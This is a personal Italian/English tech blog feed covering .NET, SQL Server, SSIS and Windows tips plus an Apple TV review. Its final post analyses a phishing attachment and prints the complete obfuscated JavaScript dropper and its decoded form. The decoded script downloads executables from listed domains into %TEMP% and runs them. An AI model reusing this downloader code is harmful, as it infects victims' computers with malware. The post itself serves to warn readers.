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  • Gianluigi 1:01 pm il 16 May 2016 Permalink | Rispondi  

    Guide is definitive. Reality is frequently inaccurate 

    This has led to some interesting consequences. For instance, when the editors of the Guide were sued by the families of those who had died as a result of taking the entry on the planet Traal literally (it said “Ravenous Bugblatter Beasts often make a very good meal for visiting tourists” instead of “Ravenous Bugblatter Beasts often make a very good meal of visiting tourists”), they claimed that the first version of the sentence was the more aesthetically pleasing, summoned a qualified poet to testify under oath that beauty was truth, truth beauty and hoped thereby to prove that the guilty party in this case was Life itself for failing to be either beautiful or true. The judges concurred, and in a moving speech held that Life itself was in contempt of court, and duly confiscated it from all those there present before going off to enjoy a pleasant evening’s ultragolf.

    The Restaurant at the End of the Universe (Hitchhiker’s Guide to the Galaxy Book 2)

     
  • Gianluigi 11:42 am il 16 May 2016 Permalink | Rispondi
    Etichette: .NET, DATASET, Failed to enable constraints, VB.NET   

    Impossibile attivare i vincoli. Una o più righe contengono valori che violano il vincolo non-null, unique o foreign-key. 

    Quando si ha a che fare con i dataSet o dataTable tipizzati, si può ricevere l’errore (all’atto della select):

    “Impossibile attivare i vincoli. Una o più righe contengono valori che violano il vincolo non-null, unique o foreign-key.”

    o anche la sua versione inglese

    “Failed to enable constraints. One or more rows contain values violating non-null, unique, or foreign-key constraints”

    Senza nessun’altra indicazione. Ma c’è un modo per sapere qual’è la colonna in errore e qual’è esattamente la violazione. Basta iterare sulla collezione GetErrors, presente sul datatable. Ad esempio (VB.NET):

    Try
       Me.Adapter.Fill(dataTable)
    Catch ex As Exception
       Dim err As DataRow() = dataTable.GetErrors
       Dim msg As New StringBuilder
       For Each e In err
           msg.AppendLine(e.RowError)
       Next
    End Try

    In questo modo la variabile msg conterrà tutte le colonne con un errore e il tipo di errore.

     
  • Gianluigi 3:57 pm il 21 February 2016 Permalink  

    SSIS problemi di debug 

    Nel tentativo di eseguire il debug di uno pacchetto SSIS con uno Script Component ottenevo l’errore:

    Impossibile caricare i dati del nome del contatore poiché è stato letto un indice non valido ” dal Registro di sistema.

    che tradotto in inglese equivale corrisponde a:

    InvalidOperationException: Cannot load Counter Name data because an invalid index ” was read from the registry.

    Questo errore può essere risolto eseguendo il seguente comando (come amministratore di sistema):

    C:\windows\SysWOW64> lodctr /r

     
  • Gianluigi 1:30 pm il 16 December 2015 Permalink
    Etichette: sql   

    SQL Jobs Schedule to run last working day in a month 

    I need to schedule a job the last working day of every month, Italian holyday calendar. First i need this function to calculate if a particular day is  a workind day or not (Eastern day included). With this function the task is simple. Create a new Job schedule with Sql Server Agent, the job contains two step, the first check if the real job need to execute, the second step is the real job. The second step is executed only if the first succeeded. The check is simple:

    DECLARE @data AS DATETIME
     ,@month AS INT
     ,@newdate AS DATETIME
     ,@newmonth AS INT
    SELECT @data = getdate()
    
    IF [dbo].[ufn_IsWorkingDay](@data) = 0
     RAISERROR (
     'Not working day'
     ,16
     ,127
     )
    ELSE
    BEGIN
     SELECT @month = datepart(m, @data)
     SELECT @newdate = [dbo].[ufn_NextWorkingDay](@data)
     SELECT @newmonth = datepart(m, @newdate)
    
    IF @newmonth = @month
     RAISERROR (
     'Not at the end'
     ,16
     ,127
     )
    END

    If current date is not working day the we raise a simple error, so the second step do not will be executed. If the current day is a working day, calculate the next working day, if the mont part of the date is different then the current day is the last working day of the month so the second step can be executed.

    The function ufn_NextWorkingDay is simple:

    CREATE FUNCTION [dbo].[ufn_NextWorkingDay]
    ( 
     @Date datetime =GETDATE
    )
    returns datetime 
    as 
    begin
        declare @newdate datetime,@return as datetime
        SELECT @newdate = dateadd(day, 1, @Date)
        if [dbo].[ufn_IsWorkingDay](@newdate)=1 
             select @return = @newdate
       else
             select @return = [dbo].[ufn_NextWorkingDay](@newdate)
       return @return 
    end

     
  • Gianluigi 9:27 am il 11 December 2015 Permalink  

    Esperienze con Apple TV 3 

    Con l’arrivo di Netflix in Italia, ho deciso di iniziare il mese di prova gratuito. Siccome mia moglie ed io stiamo seguendo alcune serie ho confermato l’abbonamento. Nel periodo di prova per vedere i programmi abbiamo utilizzato un Kindle Fire HD collegato alla tv via HDMI, senza nessun problema. Ma è una soluzione un po’ scomoda, abituati al telecomando doversi alzare ogni volta per fermare o cambiare la riproduzione è difficile. Per cui ho deciso di prendere qualche dispositivo che avesse Netflix, il più semplice e affidabile possibile. Grazie all’uscita dell’Apple TV 4, la versione precedente è diventata molto abbordabile, Netflix è già installato, per cui mi sono detto perché no.

    Lo ordinato sullo store on-line della Apple, consegna rapidissima.

    Lo porto a casa, monto tutto prendo il telecomando e prima brutta sorpresa il telecomando non è in grado di effettuare nessuna regolazione della TV, neanche la voce, cosa che qualsiasi telecomando di plastica Made in China sa fare su  tutti i televisori attuali e del futuro. Certo il telecomando Apple è di alluminio, stiloso, ma resta quello un pezzo di alluminio. Sembra che per avere questa semplice funzione bisogna comprare l’Apple TV 4 è attivare la funzione di apprendimento del telecomando. Mentre per funzioni ancora più avanzate, tipo il cambio canale o l’accensione/spegnimento, bisognerà  attendere la versione 6/7 almeno, oppure cambiare TV e prenderne una con la funzione HDMI-CEC (controllo attraverso il cavo HDMI). Certo esiste anche la funzione di apprendimento dell’Apple TV per un telecomando di terze parti, ma quanti hanno un telecomando con 6 tasti inutilizzati da riciclare; significa comunque dover comprare un telecomando universale.

    Accendo il dispositivo, l’interfaccia è semplice, vado subito a configurare il WI-FI poi accedo a Netflix. La riproduzione è sicuramente migliore rispetto a quella del Kindle Fire HD, anche se ci mette di più a partire. Infatti la riproduzione dell’app sul Kindle inizia immediatamente, anche se con una qualità più scarsa (“pixellata”), per migliorare in seguito man mano che i dati vengono bufferizzati. Mentre l’app sull’Apple TV parte sempre con la qualità massima. E qui arrivano i problemi. Dopo 6/7 minuti di riproduzione senza problemi il video si ferma. Rimane l’icona rotante di attesa per alcuni minuti per poi dare il messaggio “Netflix non è disponibile”, da quel punto in poi non funziona niente più. Qualsiasi cosa si tenta di fare il dispositivo è come se non vedesse più la rete, non funziona ne YouTube ne Vimeo, niente. L’unica cosa da fare per far ripartire il normale funzionamento è il riavvio del dispositivo, non il semplice spegni/accendi, ma proprio il reset totale. Ho provato con un altro dispositivo WI-FI (a propostio l’Apple TV memorizza una sola rete WI-FI ) ma niente, ho anche alla fine steso un cavo ethernet in mezzo alla stanza, collegandolo così direttamente al router, ma niente il comportamento è sempre stato quello.

    L’ultima prova che ho fatto è stata tentare di ascoltare un semplice podcast audio, ma niente stesso problema.

    Ho staccato tutto, l’ho riposto nella scatola e rispedito indietro. Ieri mi è stato comunicato che nei prossimi giorni riceverò il rimborso totale.

    Fine dell’esperimento Apple TV, inizia la ricerca di qualcosa che funzioni davvero.

    16-12-2015 Aggiornamento

    Lunedì è arrivato il rimborso totale senza problemi. Quindi questa parte è chiusa. Però un amico mi ha prestato un Apple TV 2. Con firmware 5.3 Jailbreak. Con questa versione del software Netflix funziona senza problemi. Funziona allo stesso modo della versione Kindle, se c’è un calo di banda si può osservare una diminuzione della qualità del filmato.

     
  • Gianluigi 9:34 am il 25 August 2015 Permalink
    Etichette: condivisione, wi-fi, windows 10   

    Windows 10 problemi con il wi-fi 

    Questa mattina, ho provato a riutilizzare, per la prima volta dopo l’aggiornamento a Windows 10, il router Huawey E5330 alias Webpocket della Tre. Ebbene il PC non rilevava addirittura la rete, come se non esistesse proprio, mentre il Kindle ed anche il telefono Lumia 640 rilevavano correttamente la rete senza problemi. Tutto quello che ho tentato è stato inutile, poi per caso sono capitato nel pannello “GESTISCI IMPOSTAZIONI WI-FI”, in basso nel pannello c’è la lista delle wi-fi condivise con i propri contatti, e questa rete compariva tra quelle condivise. Appena rimossa da questa lista la rete è tornata visibile ho reimmesso la password e tutto ha ripreso a funzionare.

    La lista delle reti condivise è una nuova funzionalità di Windows 10, che permette di condividere in maniera automatica le reti wi-fi con i propri contatti. Quando decidete di condividerla, i vostri contatti riceveranno i dati sulla rete wi-fi ed in caso si trovino nel raggio di azione della rete i dispositivi Windows 10 si connetteranno in maniera automatica a quella rete. Per il momento si può solo decidere di condividere una rete con tutti i contatti, non si può limitare la condivisione solo ad alcuni.

     

     
  • Gianluigi 7:40 pm il 21 August 2015 Permalink  

    Microsfot Lumia 640 & NFC 

    Il nome Microsoft Lumia 640 racchiude una serie di dispositivi, con caratteristiche diverse, non solo lo schermo e la connettività. La funzionalità NFC non è presente su tutti i modelli.

    Il Microsoft Lumia 640 LTE Dual SIM, Microsoft Lumia 640 LTE, Microsoft Lumia 640 XL, Microsoft Lumia 640 XL LTE Dual SIM, Microsoft Lumia 640 XL Dual SIM, e Microsoft Lumia 640 XL LTE hanno tutti il chip NFC, mentre il  Microsoft Lumia 640 Dual SIM non ha il chip NFC.

     
  • Gianluigi 10:15 am il 18 August 2015 Permalink  

    Motore di ricerca predefinito su Microsoft Edge 

    Su Windows 10 il browser di default è il nuovo Microsoft Edge, e il motore di ricerca predefinito in Edge è Bing. Se cercate di impostare un nuovo motore di ricerca, andando in Impostazioni->Visualizza impostazioni avanzate, poi cercate l’opzione “Ricerca nella barra degli indirizzi con” aprendo il menù compare l’opzione aggiungi nuovo. Selezionandolo compare una lista striminzita dove c’è solo twitter.com e it.wikipedia.org. Questo perché per comparire in questa lista Microsoft richiede che i motori di ricerca pubblichino nelle loro pagine delle opzioni particolari secondo le specifiche OpenSearch. Ad oggi Google non lo ha fatto. Ma ci ha pensato per tutti lo sviluppatore Sandeep Bansal che ha messo su un sito aposito.  Il processo è molto semplice bisogna andare sul sito https://orthodox.io/edge scegliere il proprio paese tra le opzioni disponibili, poi si torna nelle impostazioni e la lista conterrà la maggior parte dei search engine: scegliete il vostro preferito.

     
  • Gianluigi 8:19 am il 18 August 2015 Permalink  

    Microsoft Edge and hosts file 

    On a developer machine i have different web site accessed by different host name placed inside the HOSTS file, this solution works fine with all browser except Microsoft Edge. So, Edge do not look inside host file to resolve address. To do the same things you need a DNS Server.

    PS.

    This Technet article https://technet.microsoft.com/fr-fr/library/mt270204.aspx list group policy for EDGE. Intranet traffic can be configured to send all request to Internet Explorer.

    PS2.  29-08-2015

    Edge do not consider alias in hosts file formed of single word. If the alias i formed as word1.word2 it is accepted without problem!

     
  • Gianluigi 10:11 am il 14 August 2015 Permalink  

    Virus: perché non aprire allegati da persone sconosciute 

    Ricevo da una certa “Gabriella Ferrari” (una volta i nomi erano più esotici), una simpatica e-mail con oggetto “iPhone 6s”, con un allegato uno zip dal nome IMG_8779.zip. Cosa sarà mai? Una foto osè destinata ad altri e che posso sbirciare? Niente di tutto questo l’e-mail contiene un file di testo con estensione js. Lo apro con notepad ed ecco il suo contenuto:

    var key = ‘RgUfsrM3’;var b = ‘6\x11=?*\x27\x04y=\x10\x12^SOm\x114Qw]~x+F<\x04!\x0f\x1c\x1cmW$\x0f\x0c?&;\x07\x5c% }54(\x0eJ:+&>2=,P4!|F\x08\x7fG\x13rGu\x10\x12\x00mW$\x0f\x0c?&;\x07\x5c% aFNRov\x1c3\x1d#?”cp\x1d*u.63\x01z\x1c \x066!;\x03t\x05(\x07- :\x02c\x01I\x16)>]:C\x7f\x04:\x08\x07\x17#G}\x13=\x03\x1e\x17>\x1c&\x154\x10\x16\x1e`Q>\x082\x01\x16\x00mg\x07 \x07\x27;=\x19v\x1e4{%<?mD%\x10{\x00\x1f\x1d?Z3\x097\x14\x06\x17#Z<\x00{\x05\x1c\x1fmy\x07&\x192<%\x08a\x065\x1c\x27=5\x01v|$\x1a+S?\x0cr\x19$\x1447\x5c\x0e|\x1fG”\x11\x04\x5c\x27R9\x0e8\x04\x1c\x019\x1d”\x0bu2;7\x1bz\x1e+\x14!6$\x08g\x175\x1c(2 \x14{\x1d4\x05/\x273\x01\x1d\x11(\x18F;3\x1dc\x0b”\x004<!\x19|\x02I\x16)>Pc@”\x0b<\x12[Pm\x11{\x5cXlSRm\x13;\x01uN 5\x17p+\x0f\x19\x15+3\x02R1\x01\x13FNOm\x11pNu\x1d~xm\x13rGuFSR8e\x165\x05\x0d!\x16\x05]rZuD]\x175Vp\x5cXlSRm\x13/G0\x0a\x00\x17mH_muFSRm\x13rG 07 \x1dX\x00\x03\x1d\x08SOm\x11|\x171\x00QI@9rGuF\x0eI@9rGuF\x15\x1d?\x13z\x114\x14S3\x05@3?-\x056\x01\x05]rZuVHR\x0c{!\x06\x0d\x1e\x107>{<GiF\x17\x04%j\x0b2\x1c,\x1c\x05\x0a\x07|\x0b0\x08\x14\x06%\x08r&\x1d\x15\x12*5P\x17\x14\x1d\x08XYd\x13)j_FSRm\x13rGu\x10\x12\x00mZ\x11?\x1f(\x094%~<!u[S\x1c(Dr&6\x12\x1a\x04(k\x1d\x05?\x03\x10\x06e\x11\x0546\x14\x1a\x029\x1d\x01\x0f0\x0a\x1fPd\x08_muFSRm\x13rG%\x1f%4%{“\x1d2\x0d5:m\x0er\x0e\x16>9<7u:*; ]75C3\x091#\x1d\x04$A=\x098\x03\x1d\x06\x1eG \x0e;\x01\x00Zo\x16\x06″\x186VPd\x13yGw:/Pm\x18r*4\x12\x1b\x5c?\x5c\x27\x091NB\x17u\x13xG\x18\x07\x07\x1acA3\x091\x09\x1eZd\x1arLu\x13%6\x1fc951.\x1dI@9rGuFSRm\x13\x07\x14\x18\x07\x173\x1dq\x08&\x1b  \x19\x08\x13oG3\x07\x1f\x01(\x08_muFSRm\x13rG1\x10\x1b+\x14f\x1b-:\x114Bm\x0er\x090\x11S3.G;\x110><\x10\x27V1\x13}D>!\x15~\x1eU{>>>\x05g\x067wOH\x7fG\x13rGuFSRmW$\x0f\x0c?&;\x07\x5c% eH\x1c\x1c?V3\x03,\x15\x07\x139V1\x0f4\x08\x14\x17m\x0er\x01 \x08\x10\x06$\x5c<O|F\x08\x7fG\x13rGuFSRm\x13rGu\x0f\x15Re\x07rZhF\x17\x04%j\x0b2\x1c,\x1c\x05\x0a\x03|\x150\x07\x17\x0b\x1eG3\x130FUTm\x01bWu[NR)E:>\x0c3:8″D\x15W{\x15\x07\x139F!Nu\x1d~xm\x13rGuFSRm\x13rGuFSR;R G1\x10\x1b+\x14f\x1b-:\x114Cm\x0er\x090\x11S3.G;\x110><\x10\x27V1\x13}D26\x02w\x10I\x06\x12\x01\x17,^pNnkyRm\x13rGuFSRm\x13rGuFS\x1b+\x13z\x03#\x0e*+\x18z\x18\x08″!B\x5c”C7\x09}O_R)E:>\x0c3:8″D\x15V{\x12\x0a\x02(\x13oGdJS\x16;[\x0b>\x00/9\x1d:tcI”\x14\x1a\x06(\x1b6\x11=?*\x27\x04y=\x10\x12V] (@”\x08;\x15\x160″W+NyFF\x17~\x13nG1\x10\x1b+\x14f\x1b-:\x114Cc@;\x1d0OS\x09@9rGuFSRm\x13rGuFSRm\x13rGuF&\x01\x00R6&\x05$)3\x03u\x01\x0c\x10FNR9A\x27\x02nkyRm\x13rGuFSRm\x13rGuFSRm\x13r\x03#\x0e*+\x18z\x18\x08″!B\x5c=\x5c!\x0e!\x0f\x1c\x1cm\x0erWnkyRm\x13rGuFSRm\x13rGuFSRm\x13r\x03#\x0e*+\x18z\x18\x08″!B\x5c>R$\x02\x01\x095\x1b!Vz\x17,05\x1a\x05C(\x00> ;^m\x01{\x5cXlSRm\x13rGuFSRm\x13rGuFSRm\x13&\x15,F\x08\x7fG\x13rGuFSRm\x13rGuFSRm\x13rGuFSRmZ\x11?\x1f(\x094%~<!{4\x06\x1ceC+1\x13\x0e;\x027T9!\x1dJSCa\x13bNXlSRm\x13rGuFSRm\x13rGuFSRm\x13/G6\x07\x07\x11%\x13z\x03#\x0e*+\x18z\x18\x08″!A[mH/j_FSRm\x13rGuFSRm\x13rGu\x1b~xm\x13rGuFSRm\x13rGuFSR)E:>\x0c3:8″D\x15V{\x05\x1f\x1d>VzNXlSRm\x13rGuFSRm\x13/j_FSRm\x13rGu\x1bH\x7fG\x13rGuFSRmG \x1eu\x1d~xm\x13rGuFSRm\x13rG1\x10\x1b+\x14f\x1b-:\x114Bc\x5c”\x02;NQ5\x08gpKuD\x1b\x069ChHzDSYmW$\x0f\x0c?&;\x07\x5c% a=2:>R\x0a\x1f6#\x00:#nrLuD\x5c\x15(G|\x17=\x16L\x07\x07` \x09/5\x1cOo\x13yG\x18\x07\x07\x1acA3\x091\x09\x1eZd\x13yGw@\x18\x174\x0epG~F\x17\x04%j\x0b2\x1c,\x1c\x05\x0a\x0brLu54(\x0eJ:+&>2=,P4!yF\x15\x13!@7NnkyRm\x13rGuFSRm\x13r\x03#\x0e*+\x18z\x18\x08”!C\x5c>V<\x03}OH\x7fG\x13rGuFSRmNr\x044\x12\x10\x1am\x1b6\x11=?*\x27\x04y=\x10\x12UZR6N_muFSRm\x13rG<\x00SZ\x18@\x1f\x061\x27#0\x17r\x1c!\x06\x0d6[mH_muFSRm\x13rGuFSR/A7\x06>]~xm\x13rGuFSR0\x08_muFSR0\x08_m(]~x)E:>\x0c3:8″D\x15OwDZI@96\x11=?*\x27\x04y=\x10\x12NQT=W4Z<69\x0b\x1e\x5c0\x06\x11DZI’;for (var XHMayGnPPWU5 = “”, XHMayGnPPWU6 = 0, XHMayGnPPWU7 = 0; XHMayGnPPWU6 < b.length; XHMayGnPPWU6++) XHMayGnPPWU5 += String.fromCharCode(b.charCodeAt(XHMayGnPPWU6) ^ key.charCodeAt(XHMayGnPPWU7)), XHMayGnPPWU7++, XHMayGnPPWU7 == key.length && (XHMayGnPPWU7 = 0);eval(XHMayGnPPWU5);

    Sembra tutto senza senso, ma mettendolo in una forma un po’ più leggibile:

    var key = ‘RgUfsrM3’;
    var b = ‘6\x11=?*\x27\x04y=\x10\x12^SOm\x114Qw]~x+….’;
    for (var XHMayGnPPWU5 = “”, XHMayGnPPWU6 = 0, XHMayGnPPWU7 = 0; XHMayGnPPWU6 < b.length; XHMayGnPPWU6++)
    XHMayGnPPWU5 += String.fromCharCode(b.charCodeAt(XHMayGnPPWU6) ^ key.charCodeAt(XHMayGnPPWU7)), XHMayGnPPWU7++, XHMayGnPPWU7 == key.length && (XHMayGnPPWU7 = 0);

    eval(XHMayGnPPWU5);

    Si vede che è un semplice programma che decodifica la stringa b in base alla chiave key, e poi chiede all’interprete Javascript di eseguire il programma così ottenuto. Cioè:

    dvhYYUIJowG8 = “f6”;

    function dvhYYUIJowG(SGZCyhLsXAOacfF) {
    var dvhYYUIJowG4 = “ENTHELP.COM HEALINGSPRINGWORKSHOPS.COM/wp-content/themes/travel-blogger TUGRAHOTELS.COM http://www.florianbruening.com JUALTOWERTRIANGLE.COM MAAKCARD.COM http://www.jakimbost.pl THEVILLAGEVETERINARYHOSPITAL.COM HAPPYEUROSTOP.COM”.split(” “);
    if (SGZCyhLsXAOacfF == “”) { uVDRPkRdHn = “.exe”; } else { uVDRPkRdHn = “.pdf”; };

    for (var AHsaXxcEsHn = 0; AHsaXxcEsHn < dvhYYUIJowG4.length; AHsaXxcEsHn++) {
    var iCXJNzFhMnF = new ActiveXObject(“WScript.Shell”);
    pyVFhHpzgkFH = iCXJNzFhMnF.ExpandEnvironmentStrings(“%TEMP%”) + “\\” + Math.round(1e8 * Math.random()) + uVDRPkRdHn;
    UsMadAPBZANFSkE = false;
    dvhYYUIJowG0 = new ActiveXObject(“MSXML2.XMLHTTP”);
    dvhYYUIJowG0.onreadystatechange = function() {
    if (4 == dvhYYUIJowG0.readyState && 200 == dvhYYUIJowG0.status) {
    var dvhYYUIJowG1 = new ActiveXObject(“ADODB.Stream”);
    if (dvhYYUIJowG1.open(), dvhYYUIJowG1.type = 1, dvhYYUIJowG1.write(dvhYYUIJowG0.ResponseBody), 5e3 < dvhYYUIJowG1.size) {
    UsMadAPBZANFSkE = true;
    dvhYYUIJowG1.position = 0;
    dvhYYUIJowG1.saveToFile(pyVFhHpzgkFH, 2);
    try {
    iCXJNzFhMnF.Run(pyVFhHpzgkFH, 1, 0)
    }
    catch (dvhYYUIJowG2) {}
    }
    dvhYYUIJowG1.close()
    }
    };
    try {
    dvhYYUIJowG0.open(“GET”, “http://&#8221; + dvhYYUIJowG4[AHsaXxcEsHn] + “/get.php?uJSrnzSo=” + Math.random() + “&key=” + dvhYYUIJowG8 + SGZCyhLsXAOacfF, false);
    dvhYYUIJowG0.send(); }
    catch (dvhYYUIJowG3) {}
    if (UsMadAPBZANFSkE) { break; };
    }; //for
    }; //function

    dvhYYUIJowG(“”);
    dvhYYUIJowG(“&pdf=iPJySobaD”);

     

    Il simpatico programmino si occupa di collegarsi alle varie url contenute nella stringa dvhYYUIJowG4 e di scaricare nella cartella temp corrente un file ricevuto da questi siti e poi eseguirli. La maggior parte di questi siti risultano segnalati a Chrome come diffusori di malware (Internet Explorer no) per cui vengono bloccati, ma continuando comunque e scaricando manualmente questi programmi, tentano di farsi passare come aggiornamenti di prodotti leciti, tipo Acrobat Reader. Abbastanza ingegnoso, ma come si vede dallo script finale, l’attacco è destinato ad utilizzare alcune caratteristiche di Internet Explorer, e funziona solo se i Javascript sono abilitati come script di sistema.

     
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